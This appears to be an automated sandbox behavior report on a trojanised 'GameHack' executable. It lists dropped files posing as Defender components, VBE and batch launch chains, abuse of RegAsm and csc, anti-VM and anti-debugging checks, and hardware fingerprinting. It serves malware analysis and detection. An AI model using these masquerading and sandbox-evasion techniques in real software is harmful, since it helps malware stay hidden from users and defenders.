Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Model, serialnumber FROM Win32_DiskDrive

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Memory allocated: 2790000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Memory allocated: 2900000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Memory allocated: 4900000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Memory allocated: 17D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Memory allocated: 3120000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Memory allocated: 5120000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Memory allocated: 1570000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Memory allocated: 3180000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Memory allocated: 2F80000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2BE0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2E80000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 4E80000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Memory allocated: 1630000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Memory allocated: 1B1A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Memory allocated: 840000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Memory allocated: 1A5B0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 300000
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 1612
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Window / User API: threadDelayed 641

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\PxMOoBdB.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\BpJZMyRc.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ErvIhhWY.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\syFrxmlp.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\wowiEjmi.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\QLuoYXmy.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\mOMkzqHG.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\jdhUscxN.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\brpMezGb.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\WmQvmhxk.log	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe TID: 7624	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe TID: 7980	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7464	Thread sleep count: 1612 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7464	Thread sleep count: 294 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2120	Thread sleep count: 40 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2120	Thread sleep time: -12000000s >= -30000s
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe TID: 7980	Thread sleep count: 163 > 30
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe TID: 7980	Thread sleep time: -163000s >= -30000s
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe TID: 7328	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe TID: 8212	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe TID: 6244	Thread sleep count: 641 > 30
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe TID: 3964	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT SerialNumber FROM Win32_BIOS
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Product, Manufacturer, SerialNumber, Version FROM Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT SerialNumber FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A0A5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_00A0A5F4
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A1B8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_00A1B8E0
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A2AAA8 FindFirstFileExA,	0_2_00A2AAA8
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EDA5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	8_2_00EDA5F4
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EEB8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	8_2_00EEB8E0
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EFAAA8 FindFirstFileExA,	8_2_00EFAAA8

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe

Code function: 0_2_00A1DD72 VirtualQuery,GetSystemInfo,

0_2_00A1DD72

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 300000
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File opened: C:\Users\user\AppData\Local\Temp
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File opened: C:\Users\user
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File opened: C:\Users\user\AppData\Local
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File opened: C:\Users\user\Documents\desktop.ini
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File opened: C:\Users\user\AppData
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File opened: C:\Users\user\Desktop\desktop.ini

Source: Solara.exe, 00000009.00000002.2515285033.0000000000401000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: goware/pkg/detection/Anti_VM.VMWareBIOS
Source: containerRuntime.exe, 0000001A.00000002.1902578971.000000001B725000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Solara.exe, 00000009.00000002.2515285033.0000000000401000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: C:/Users/h3xcode/GolandProjects/AntiVM/pkg/detection/Anti_VM/VMWare.go
Source: containerRuntime.exe, 0000001A.00000002.1902638465.000000001B72B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: Solara.exe	Binary or memory string: teDivideScrollLShiftRShiftOEM102PacketNoNamebitmaphackerinjectdumperdeobfsvmware%*s%s activeclosedsocks5CANCELGOAWAYPADDEDBasic CookieacceptcookieexpectoriginserverExpectstatusPragmasocks Lockedexec: 390625rdtscppopcntuint16uint32uint64structchan<-<-chan Value
Source: GameHack.exe, 00000008.00000003.1295968770.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}yw{
Source: Solara.exe, 00000009.00000002.2515285033.0000000000401000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: goware/pkg/detection/Anti_VM.VMWareDisk
Source: containerRuntime.exe, 0000001A.00000002.1902578971.000000001B725000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: Solara.exe, 00000009.00000002.2515285033.0000000000401000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: max=scav ptr ] = (usageinit ms, fault tab= top=[...], fp:MarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930monthLocalntohsCall Counttls: Earlyparsefilesimap2imap3imapspop3shostsutf-8%s%dtext/bad nGreekAdlamBamumBatakBuhidDograKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamilSHA-1matchrune cpu%dP-224P-256P-384P-521ECDSA (at ClassStringFormat[]byte' for stringCancelReturnEscapeAcceptSelectInsertDeleteDivideScrollLShiftRShiftOEM102PacketNoNamebitmaphackerinjectdumperdeobfsvmware%s%s
Source: wscript.exe, 00000006.00000002.1351138385.00000000009D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\.
Source: containerRuntime.exe, 0000001A.00000002.1902988796.000000001BA37000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}}
Source: containerRuntime.exe, 0000001A.00000002.1920943290.000000001BB96000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:&
Source: RegAsm.exe, 00000012.00000002.2537701192.0000000005AC9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RA
Source: GameHack.exe, 00000008.00000002.1297051260.0000000000BDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Ven_NECVMWar&Prod_VMware_SATA_CD00#4&22,
Source: Solara.exe, 00000009.00000002.2509569119.0000000000112000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2537701192.0000000005AC9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	API call chain: ExitProcess graph end node			graph_0-24556
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	API call chain: ExitProcess graph end node			graph_8-24466

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe

Code function: 0_2_00A2866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00A2866F

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A2753D mov eax, dword ptr fs:[00000030h]		0_2_00A2753D
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EF753D mov eax, dword ptr fs:[00000030h]		8_2_00EF753D

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe

Code function: 0_2_00A2B710 GetProcessHeap,

0_2_00A2B710

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A1F063 SetUnhandledExceptionFilter,	0_2_00A1F063
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A1F22B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00A1F22B
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A2866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00A2866F
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A1EF05 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00A1EF05
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EEF063 SetUnhandledExceptionFilter,	8_2_00EEF063
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EEF22B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00EEF22B
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EF866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00EF866F
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EEEF05 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00EEEF05

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\VaCm6yonii0zLXLvCqreXRVqw1.vbe"	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Process created: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe"	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Process created: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe"	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Process created: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\DaJttDh54LCmoatNZvevDoWyEmexKWgun1WAXP2cdZM0egnWJQQpZtVxW.bat" "	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process created: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe "C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\chainReviewdhcp\mJEJ7PbY35CMaAu5227dvHv.vbe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get model,serialnumber	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\chainReviewdhcp\LJrjU6BhAd6hMsY1uw5hl2I0p3Jh.bat" "	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor/runtimesvc.exe"
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tv1xqdyv\tv1xqdyv.cmdline"
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe "C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe"
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES5B8E.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSC8F87101CD76241BAB3866A995ECAD4A7.TMP"

Source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, MpDefenderCoreProtion.exe, 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ProgMan
Source: Solara.exe, 00000009.00000002.2515285033.0000000000401000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: %sinvalid styleSetWindowLongShell_TrayWndDestroyWindowGetWindowLongGetWindowRectGetClientRectSTREAM_CLOSEDCONNECT_ERRORWINDOW_UPDATEAuthorizationCache-ControlLast-ModifiedAccept-RangesIf-None-Match[FrameHeader invalid base accept-rangesauthorizationcache-controlcontent-rangeif-none-matchlast-modifiedFQDN too longsocks connectReset ContentLoop Detectedfield name %qFindFirstFile3814697265625RegOpenKeyExWRegEnumValueWImageList_AddCreateRectRgnGetDeviceCapsSetBrushOrgExValueOverflowCreateActCtxWFindResourceWRtlMoveMemoryCoTaskMemFreeOleInitializeSysFreeStringwglShareListsPdhCloseQueryShellExecuteWAnimateWindowDrawFocusRectGetClassNameWGetMenuItemIDGetScrollInfoGetSystemMenuSetScrollInfoGetThemeColorOpenThemeDataEnumPrintersWwakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitout of memory is nil, not value method bad map state span.base()=bad flushGen , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}
Source: Solara.exe	Binary or memory string: Stack: %sinvalid styleSetWindowLongShell_TrayWndDestroyWindowGetWindowLongGetWindowRectGetClientRectSTREAM_CLOSEDCONNECT_ERRORWINDOW_UPDATEAuthorizationCache-ControlLast-ModifiedAccept-RangesIf-None-Match[FrameHeader invalid base accept-rangesauthorizationca

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe

Code function: 0_2_00A1ED5B cpuid

0_2_00A1ED5B

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: GetLocaleInfoW,GetNumberFormatW,		0_2_00A1A63C
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: GetLocaleInfoW,GetNumberFormatW,		8_2_00EEA63C

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Queries volume information: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
